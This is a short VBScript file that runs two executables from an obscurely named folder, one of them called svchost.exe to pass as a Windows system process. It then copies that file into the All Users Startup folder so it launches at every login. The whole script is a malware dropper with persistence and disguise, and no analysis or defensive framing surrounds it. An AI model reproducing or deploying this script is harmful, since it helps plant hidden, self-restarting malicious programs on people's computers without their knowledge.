dim shell


set shell=createobject("wscript.shell")

shell.run ".\22x0ffcc\3366.exe"
shell.run ".\22x0ffcc\svchost.exe"

set shell=nothing

Const OverwriteExisting = True
Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.CopyFile ".\22x0ffcc\svchost.exe" , "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\svchost.exe", OverwriteExisting